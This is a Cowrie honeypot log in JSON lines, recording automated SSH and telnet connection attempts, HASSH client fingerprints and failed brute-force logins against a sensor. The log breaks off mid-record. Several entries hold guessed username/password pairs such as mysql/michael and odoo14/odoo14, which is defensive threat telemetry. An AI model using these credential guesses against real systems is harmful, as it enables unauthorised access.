{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:16.900262Z","src_ip":"159.203.92.129","session":"158bb80ef927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asakura","password":"asakura","message":"login attempt [asakura/asakura] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:16.913859Z","src_ip":"159.203.92.129","session":"158bb80ef927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:17.920737Z","src_ip":"159.203.92.129","session":"158bb80ef927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":34484,"dst_ip":"159.203.135.109","dst_port":22,"session":"026cb2f5b251","protocol":"ssh","message":"New connection: 159.223.45.177:34484 (159.203.135.109:22) [session: 026cb2f5b251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:18.459543Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:21.220908Z","src_ip":"159.223.45.177","session":"026cb2f5b251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47704,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ce8bb877bcc","protocol":"ssh","message":"New connection: 122.168.114.167:47704 (159.203.135.109:22) [session: 0ce8bb877bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:35.092756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:36.798426Z","src_ip":"122.168.114.167","session":"0ce8bb877bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:36.803027Z","src_ip":"122.168.114.167","session":"0ce8bb877bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":42320,"dst_ip":"10.17.0.5","dst_port":22,"session":"57a65fd70b5a","protocol":"ssh","message":"New connection: 186.80.18.158:42320 (10.17.0.5:22) [session: 57a65fd70b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:38.125091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:38.130205Z","src_ip":"186.80.18.158","session":"57a65fd70b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:38.200930Z","src_ip":"186.80.18.158","session":"57a65fd70b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"michael","message":"login attempt [mysql/michael] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:38.478671Z","src_ip":"186.80.18.158","session":"57a65fd70b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:39.558516Z","src_ip":"186.80.18.158","session":"57a65fd70b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:45.231544Z","src_ip":"122.168.114.167","session":"0ce8bb877bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013747215271,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:46.202987Z","src_ip":"196.41.210.156","session":"bbc04aa1c7d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.41.210.156","src_port":45675,"dst_ip":"10.17.0.5","dst_port":23,"session":"92af03eb4dea","protocol":"telnet","message":"New connection: 196.41.210.156:45675 (10.17.0.5:23) [session: 92af03eb4dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:47.170691Z"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:48.491409Z","src_ip":"122.168.114.167","session":"0ce8bb877bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60818,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0524602b1fd","protocol":"telnet","message":"New connection: 185.26.126.47:60818 (159.203.135.109:23) [session: c0524602b1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:49.228832Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40952,"dst_ip":"159.203.135.109","dst_port":22,"session":"1756ca30970f","protocol":"ssh","message":"New connection: 159.203.92.129:40952 (159.203.135.109:22) [session: 1756ca30970f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:57.381859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:57.386684Z","src_ip":"159.203.92.129","session":"1756ca30970f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:57.391724Z","src_ip":"159.203.92.129","session":"1756ca30970f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asd","password":"1234","message":"login attempt [asd/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:57.406687Z","src_ip":"159.203.92.129","session":"1756ca30970f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:58.412802Z","src_ip":"159.203.92.129","session":"1756ca30970f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50108,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffc921c1901d","protocol":"ssh","message":"New connection: 122.168.114.167:50108 (159.203.135.109:22) [session: ffc921c1901d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:16.256833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:17.447819Z","src_ip":"122.168.114.167","session":"ffc921c1901d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:17.453384Z","src_ip":"122.168.114.167","session":"ffc921c1901d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:24.561061Z","src_ip":"122.168.114.167","session":"ffc921c1901d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:27.328441Z","src_ip":"122.168.114.167","session":"ffc921c1901d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.766496896743774,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:31.995188Z","src_ip":"185.26.126.47","session":"c0524602b1fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57180,"dst_ip":"159.203.135.109","dst_port":22,"session":"0603e8a4a383","protocol":"ssh","message":"New connection: 159.203.92.129:57180 (159.203.135.109:22) [session: 0603e8a4a383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:37.871480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:37.877156Z","src_ip":"159.203.92.129","session":"0603e8a4a383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:37.883176Z","src_ip":"159.203.92.129","session":"0603e8a4a383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asd","password":"123456","message":"login attempt [asd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:37.902229Z","src_ip":"159.203.92.129","session":"0603e8a4a383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:38.909834Z","src_ip":"159.203.92.129","session":"0603e8a4a383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":4644,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a758bda9cf9","protocol":"ssh","message":"New connection: 159.223.45.177:4644 (159.203.135.109:22) [session: 9a758bda9cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:41.603328Z"}
{"eventid":"cowrie.session.closed","duration":120.00070929527283,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:43.563540Z","src_ip":"167.57.4.227","session":"dfbe12278ea7","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:44.001236Z","src_ip":"159.223.45.177","session":"9a758bda9cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:44.005445Z","src_ip":"159.223.45.177","session":"9a758bda9cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":41454,"dst_ip":"159.203.135.109","dst_port":22,"session":"65f8b0180ba3","protocol":"ssh","message":"New connection: 202.4.106.201:41454 (159.203.135.109:22) [session: 65f8b0180ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:44.867592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:44.873542Z","src_ip":"202.4.106.201","session":"65f8b0180ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","h